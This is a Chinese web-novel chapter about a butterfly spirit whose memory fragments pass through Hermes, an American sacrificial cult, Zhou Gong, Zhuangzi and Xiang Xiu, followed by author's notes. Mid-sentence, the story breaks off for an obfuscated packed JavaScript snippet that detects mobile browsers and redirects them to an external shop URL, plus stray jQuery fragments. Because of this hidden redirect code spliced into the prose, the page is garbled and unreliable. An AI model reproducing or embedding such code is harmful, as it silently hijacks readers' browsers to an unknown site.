湿热的海风吹着船舱,户外一片青葱,应是夏天之景,却不太炎热,许是气候所致。
船只停泊于岸,岸上的人正在劳作,时而在胸口画十字,感谢上帝的眷顾。
哦,这船---是诺亚方舟。陆攸意识附着在蛹上,观察舱内装饰。诺亚方舟靠岸后,似乎被当成了个仓库,而它附着的铁锅已然生锈,无法再次使用,便被遗忘在了船内。
门外---
赫尔墨斯脚踩带翼的金色凉鞋,头戴低檐翼帽,身披轻便的短斗篷与及膝短衣,露出敏捷的小腿,腰间斜挎着那柄盘绕双蛇的黄金权杖。他生着一张少年般的俊美面孔,眉眼间总跳动着一股压不住的好奇,仿佛任何一道门缝后的声响,任何一只箱子的锁孔,任何一句欲言又止的秘密,都在向他发出邀请。
他走进敞开着的舱门,轻轻踏入,随意的翻弄这儿再翻弄那儿。他看见了那只蛹,那只闪着翡翠般光亮的蛹。
他掏出不知从哪儿顺来的琉璃瓶,将蛹装入系了丝绳于腰边,又从船舱中离去。
无人知他来,更无人知他去。舱内只回荡着他哼的不知名曲调,像海浪敲击贝壳一样轻快又清亮。
陆攸在他身边,看他可以在呼吸间从奥林匹斯山顶滑到人间市集,也能用一只笛子偷走阿波罗的牛群,还能领着亡者的灵魂穿过黑暗,一路讲着笑话缓解他们的恐惧。
陆攸最喜欢的,莫过于他拨弄里拉琴时给她---或许是给蛹讲的奥林匹斯山上被云雾掩盖着的神明生活轶事。
有一次不知为什么,赫尔墨斯在岸边解下了琉璃瓶,或许后来找过,却没找到。那蛹便被丢在海边,于某一日朝阳中,浪花邀请它开启了新征程,浮于耀眼的波浪中,驶向远方……
〔已开启回忆碎片4/7异变之始〕
琉璃瓶随洋流飘至美洲,瓶子与一块尖锐的石头相碰,发出一声清脆的瓶碎声,夹着一道撕帛般的蛹出声,进而化蝶。
这里没有桑叶,没有天敌。为生存,它开始捕食昆虫,进而被部落以黄油、血肉祭祀。
那只蝶以违反生物原理的“出茧方式”生殖,漫天的诡蝶都是它的分身。
陆攸在以蝶形态漫长的祭祀中,被迫吸收了当地土著潜意识中的至善与至恶。
“求求你,救救他们。”虔诚的女声响起。
“慢慢的,杀了他们。”低沉的男声回荡。
它挣扎无果,于善恶中拉扯,意识坠入了更深的噩梦。
祭坛上,它吸食了某位长老最罪恶的贪,它将那位长老吞噬,每只伏于尸体之上的蝶将血肉吸食干净,只余白骨被丢进火丛中灼烧。而身旁的土著又跳又笑,仿佛在举行一场盛大的婚礼。
部落以纯真孩童祭祀时,它会吃到纯真的善与痛苦,它的理智会回笼一瞬,念起嫘祖的音容笑貌与赫尔墨斯的悠扬笛音,但那久远的驯化早已失效,成了灵魂深处已褪色的烙印。贪婪与狂躁的本能在祭祀中释放。
“神明,我好痛苦,救救我吧。”一位母亲刚逝世的女孩跪在祭坛前乞求,她将花环用双手托举摘下,放在果盘前。这是她唯一能上供的,她最珍视的,母亲死前最后为她做的东西。
“我很想跟母亲在一起。”女孩的泪珠砸落,惊醒了沉睡的蝶群。
蝶群翅膀扇动,泛着有金属光泽的暗绿色蝶翼的眼斑有实质般望向女孩,蝶群露出锋利的口器。
陆攸想阻止蝶群,但根本无效。它们误会了意思,也许根本不想领会,蝶群朝女孩扑去,让她睁着一双大大的、错愕的眼睛结束了生命,完成了她的念想。
族人似乎早已预料到了一切,待群蝶又一次饱餐一顿,才将女孩的白骨丢入火丛,跳着、唱着亡灵安息的魂曲。
又一次了,陆攸几近疯魔,她化成的蝶轻俯下去,落在女孩手中刚采的不知名野花上,那野花已经皱皱巴巴,而后麻木的轻吻两下又飞回祭坛,入梦。
对不起,我真的不想害人……
这样野蛮嗜血的日子不知过了多久,在陆攸的理智即将被肮脏的祭祀磨灭地几近消失时,一位东方样貌的探险家路过,冒着巨大的风险深入部落……
〔已开启回忆碎片5/7归乡之路〕
陆攸想逃离这里,去哪都好。那只蝶与陆攸情绪共鸣的一瞬,她已经分不清是她想走它,还是那只蝶想走,它落入了探险家的玻璃瓶中,跟着航队,启程回乡。
没有了鲜血的刺激,她脑子清醒了不少。
那个美洲部落逼迫她从正常坠入疯魔,她的负面情绪如排山倒海般涌来。
压抑的绝望。
无果的挣扎。
贪婪的本性。
罪恶的吞噬。
……
那一条条口器下的褪色生命,都会让她自责万分,悔恨万分,痛苦万分。
她不想那样,她不想伤害那些人。
她真心想拯救他们。
但她……做不到了。
那名探险家吹起古埙,使陆攸无意识敲击玻璃瓶内壁的动作小了点。
陆攸望向瓶外人的脸,是个宁静的年轻人,她又缓缓闭上了眼……
〔已开启回忆碎片6/7再驯之智〕
龟甲上的金线已绕完一圈,回到原点,陆攸却仍陷入嗜血的梦魇。
那个探险家将玻璃瓶递给了第一个来到这个母世界的闯关者---周公姬旦。
周公身着玄黑交领礼服,下配土黄裳裙,腰间束以素白绅带,胸前配一块未经雕琢的玉璜,步履沉稳如钟。他面容方正,眉骨高耸,目光沉静如深潭,嘴角永远紧抿。他拿着装着陆攸的玻璃瓶,放在了一簇极不寻常的火上,似要烧去罪恶与污浊。
周公唱起颂歌,那曲调与嫘祖常哼的那首竟一模一样。
陆攸耳边亡灵的尖啸顿时少去,她的灵魂好像被洗涤,过滤了一切罪恶,只余最深的善念。
“礼者,天地之序也。
守礼制,去奢
守礼制,去怨
守礼制,去妒
守礼制,去贪
守礼制,去怅
……
可好?”周公轻声发问,又不失庄重。
“好……但我做不到。”陆攸苦苦挣扎出声。
“好……但我做不到。”蝴蝶哀怨嘶鸣。
“无妨!我将魂灵一部分以压暴虐。有我在,你就不会再伤无辜之人。”周公继续说,“只要你向善,我定能让你本性至臻。”
蝴蝶轻轻点头,周公的嘴角弯起了不易察觉的弧度,使如青铜器般的人有了些许温度。
他用剥魂礼器生取一部分魂魄,赐予业火中的绿翼蝴蝶,自己却呕出一口血,用丝巾轻拭去,显得那么从容不迫。
“那个孩子……成王……跟你很像,他也迷茫啊。但他本性不坏,于是我教导他成器。
握发吐哺以稀疏平常,献祭魂灵又何妨。”周公缓缓道。
业火渐渐熄灭,陆攸的神志清醒过来,她想起嫘祖、方舟、赫尔墨斯、美洲祭祀……如经年一梦,虚妄一场。她感到了无比的轻松与快意,却见周公的头发由零星几根白发,变成了满头白发。
周公担任了初代祭司之职,日日夜夜看护绿翼蝴蝶,谨防异变。在周公驯化前,蝶群已吞噬几个族人,引起了恐慌。周公在担任祭司之职时,打算将这段血色记忆从族人脑中抹去,清除。
陆攸也就这样在蝶内看着蝶群壮大,阅过春去秋来,不知逝去几个岁月……
〔已开启回忆碎片7/7梦之起源〕
周公的身体越发虚弱,到最后连路都无法走了,他将自己仅存的魂灵记于蝶翼之上,委托给绿翼蝴蝶一个小小的任务:
找到继任者。
“那一年,我完成了原母世界的使命,留下了辉煌的大周,来到这儿,居然已经过了将近八百年了啊。”周公撕开一个小小的空间裂隙,足够蝴蝶飞过,“去寻一个人吧,愿意来到这的,继续看护你的。”
路攸想了想,周公姬旦于公元前1056年逝世,她要去的八百年后约莫是春秋战国,诸子百家纷争正乱,应该不愁无人愿来。
几日后。
一只被驯化的绿翼
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17617394|206111||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
蝴蝶在庄周窗前起舞,一片闪烁着洪荒与文明双重记忆的蝶粉被掠过九天的巨鹏的气流卷入云霄,最终飘落,恰好触及了树下冥想圣贤的眉心。
庄周梦蝶,去寻如绿翼蝶部落般一处安宁幽静之地,竟成了他的执念。
蝶的亘古流浪记忆,使庄周再次进入了闯关世界。他年轻时曾到过这里,但那时对技能身份什么的不太感兴趣。他再次进入,获得全新的身份,于重来后第一个母世界,找到了自己念想的归宿。
周公在蝶飞回后关闭了裂隙,于来到这儿的第二个闯关者踏上这片土地之际,魂灵彻底湮灭,苍白的身躯化成鳞雨,飘飘扬扬,似是迎接新一任祭司到来。族人既在鳞雨中吊唁,也在恭迎庄周的到来。
只见庄周缓缓走来,披一件灰白粗麻的单衣,袖口宽大如蝶翼,赤足踏草,发丝散落肩背,只用一根枯藤随意束着。他身形清瘦,面容清癯,嘴角却挂着一丝似笑非笑的弧度,眼睛像雨后初晴的湖面---澄澈,宁静,却深不见底。
周公的头骨留下前届祭司的指引,庄周也学着剥灵献祭,但他与周公不同,他最大的能力不是神通,而是“齐物”。在他眼中,蝴蝶与自己无别,瓦砾与美玉等同,死亡与生存只是气息的聚散,他也这样,于安宁的弥留之际,等来了第三个继任者---向秀。
向秀身着杏黄色葛麻身衣,衣料比周公的粗砺软上三分,比庄周的散漫整上三分,腰间系一条编入蚕丝的杂色绳带。他面容温润如玉,眉目舒展,鼻梁挺秀,眼神不似周公威严,亦不似庄周飘忽,而是带着一种“认真听你说话”的专注。他也像周公庄周那般陪着那只蝴蝶,同它讲讲竹林七贤的趣事。
回忆碎片的叙事于向秀第二次剥灵献祭时戛然而止。陆攸从它记忆中彻底抽离,却如听了极入迷的故事般,久久无法回神。
她在第一个回忆碎片后期就与蝶灵共振了,完全与蝶共感,忘了她身旁的冬晚。冬晚也在回忆碎片中与陆攸失联后被迫在回忆碎片其他地方四处溜达,直到回溯结束,她才同陆攸一起回神,出来。
向秀以“融合之力”制作的回忆碎片,也正是要历任祭司沉浸式感受绿翼蝶源,继承最完整的祭司神力,以压抑绿翼蝴蝶的暴动。
但谁承想,近几年,无论回忆碎片再怎么被其他祭司完善,蝶群异动也更频繁了。
陆攸,你该怎么做?历任二十多届祭司无声叩问。
———不华丽的分割线———
1.“出茧生殖”可类比“出芽生殖”。
2.前三任祭司在原母世界的生卒年与历史上一致。
本文设定是他们在原来的母世界已故后便来技能母世界继承身份成为祭司。
姬旦公元前1100年~公元前1056年
庄周公元前369年~公元前286年
向秀公元227年~公元272年
3.向秀
公元227年-272年(三国曹魏至西晋初年)
,字子期,魏晋玄学家,"竹林七贤"之一。他注《庄子》,提出"自生""自化"理论,尝试调和名教与自然,主张儒家礼法不应压抑人的本性,而应成为人性自然流露的外在形式。
4.异变后的嗜人绿翼蝶原型:巨猫头鹰蝶(Caligoeurilochus或Caligoillioneus等大型种)
主要分布于中南美洲热带雨林(如亚马逊流域)
猫头鹰蝶的幼虫并不直接食肉,但成虫有一个震撼的习性:它们会集体聚集在鳄鱼眼泪,乌龟眼泪,腐烂水果甚至动物尸体上,吸食其中的钠盐和蛋白质。
翅面:是深沉的、带有金属光泽的靛蓝,紫罗蓝或暗绿色(在光线变幻下可呈现您要的"诡绿"),华丽而神秘。
翅底:拥有巨大的,宛如瞪视的猫头鹰眼斑。
它们常在晨昏活动,行踪诡秘,
有巨大的体型(翅展可达15-20厘米)。
5.回忆碎片中,周公选择遗忘蝶群嗜人的灵感来源:李硕《翦商:殷周之变与华夏新生》。